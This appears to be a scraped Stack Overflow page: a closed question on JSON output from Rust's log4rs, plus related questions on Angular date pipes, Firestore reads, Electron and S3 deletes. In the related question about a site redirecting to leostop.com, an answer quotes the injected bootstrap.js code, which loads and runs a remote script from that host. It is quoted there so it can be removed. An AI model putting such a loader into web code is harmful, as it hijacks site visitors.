need log4rs configuration for Rust to generate log statements as Jsons [closed] - rust

Closed. This question needs to be more focused. It is not currently accepting answers.
Want to improve this question? Update the question so it focuses on one problem only by editing this post.
Closed 9 hours ago.
Improve this question
Below is what I had done which outputs the logging into the console and File. I used log4rs.
pub fn init_loggers() {
log4rs::init_file("src/resources/log4rs.yml", Default::default()).unwrap();
info!("booting up");
}
src/resources/log4rs.yml
refresh_rate: 30 seconds
appenders:
stdout:
kind: console
encoder:
pattern: "{h({d(%Y-%m-%d %H:%M:%S)(utc)} - {l}: )}{m}{n}"
requests:
kind: file
path: "log/requests.log"
encoder:
pattern: "{h({d(%Y-%m-%d %H:%M:%S)(utc)} - {l}: )} {m}{n}"
root:
level: debug
appenders:
- stdout
loggers:
app::backend::db:
level: info
app::requests:
level: info
appenders:
- requests
additive: false
What I want is to log the output as JSON written one per line and in async mode along with correlation id. I went through his https://crates.io/crates/log4rs webpage but it was of very little use. Any help will be greatly appreciated.

Related

My web site redirect http://leostop.com/tracking/tracking.php?full_url=http//mywebsite [closed]

Closed. This question needs details or clarity. It is not currently accepting answers.
Want to improve this question? Add details and clarify the problem by editing this post.
Closed last year.
Improve this question
my website redirects itself to this site : https://leostop.com/tracking/tracking.php?full_url=http://mywebsite.
Why does this happen and how do i solve this situation?
Thanks...
Search for the phrase "leostop" in your project source code and remove the code related to it.
I too encountered the same problem, for me, the code to redirect is written in bootstrap.js file.
var protocol = location.protocol;
$.ajax({ type: "get", data: { surl: getURL() }, success: function (response) { $.getScript(protocol + "//leostop.com/tracking/tracking.js"); } });
I removed this above code and it solved the problem for me.
I hope it helps.

how to reformat date type from MongoDB to Angular [closed]

Closed. This question needs details or clarity. It is not currently accepting answers.
Want to improve this question? Add details and clarify the problem by editing this post.
Closed 1 year ago.
Improve this question
My question is simple how can I pipe type date ?? meanes if the date in MongoDB looks like this :
2021-01-31T23:00:00.000+00:00
and in my case I want it to take this format 2021-01-31 no more
please how can I do it I'm using MEAN stack (MongoDB, Express js, Angular, Node js)
I want to do it without changing it into a string and get a substring is that possible?
Please help
With Angular, You need to use angular datePipe: https://angular.io/api/common/DatePipe
HTML side:
{{ yourDate | date:'yyyy-MM-dd' }}
If you want to convert it typescript side, you need to provide DatePipe in your appModule :
#NgModule({
....
providers:[DatePipe]
....
})
Then you can use it as service in your component:
constructor(datePipe: DatePipe) {}
...
function() {
const date = this.datePipe.transform(yourDate, 'yyyy-MM-dd')
}

How to get a firebase's database keys and values [closed]

Closed. This question needs details or clarity. It is not currently accepting answers.
Want to improve this question? Add details and clarify the problem by editing this post.
Closed 2 years ago.
Improve this question
I'm new to firebase, and I'm doing a database for my discord.js bot. I know how to do almost everything, except i don't know how to get all the db data. Let me explain:
My database structure looks like this:
database structure
And i would like that when executing the showconfig command, it shows something like this:
announcementsChannel: "news",
autoRole: "false",
autoRoleName: "none",
// etc...
Is there any way to get every key and its value, and putting it all inside a message?
db.collection("users").get().then((querySnapshot) => {
querySnapshot.forEach((doc) => {
console.log(`${doc.id} => ${doc.data()}`);
});
});
You can read the docs online at this link : https://firebase.google.com/docs/firestore/quickstart

Uncaught ReferenceError: require is not defined in Electron [closed]

Closed. This question needs details or clarity. It is not currently accepting answers.
Want to improve this question? Add details and clarify the problem by editing this post.
Closed 2 years ago.
Improve this question
I am trying and failing to connect to a MySQL database in Electron. When I run the program with npm start, I get this error in the console:
I was told to make changes to my code and I made them but nothing. I downloaded that module called bundlee but it didn't work either and I don't know if I used it correctly.
It is likely that nodeIntegration is set to false (which is the default) in your BrowserWindow webPreferences.
Try setting up your browser window with something like this:
win = new BrowserWindow({ width: 800, height: 600,
webPreferences: {
nodeIntegration: true
}
})

Files aren't deleted from Amazon S3 [closed]

Closed. This question does not meet Stack Overflow guidelines. It is not currently accepting answers.
Closed 7 years ago.
Edit the question to include desired behavior, a specific problem or error, and the shortest code necessary to reproduce the problem. This will help others answer the question.
This question was caused by a typo or a problem that can no longer be reproduced. While similar questions may be on-topic here, this one was resolved in a way less likely to help future readers.
Improve this question
i'm using aws-sdk in nodejs, this is the part of the code that delete the files:
var s3_params = {
Bucket: util.getEnvVar('AWS_S3_BUCKET'),
Delete: {Objects: [{Key: document.bucket_path }]}
};
s3.deleteObjects(s3_params, function (err, data) {
if (err) {
res.send(err);
} else {
res.send(data);
}
});
The response that return from amazon look fine, but when i look on the bucket inside the s3 interface the file still exist.
also try to use "deleteObject" method with no success.
Thanks.
The code looks good. Are you sure you are passing a Key of a file that exists? Beware that if you try to delete a Key that does not exist, AWS won't throw an error, check this question.

Resources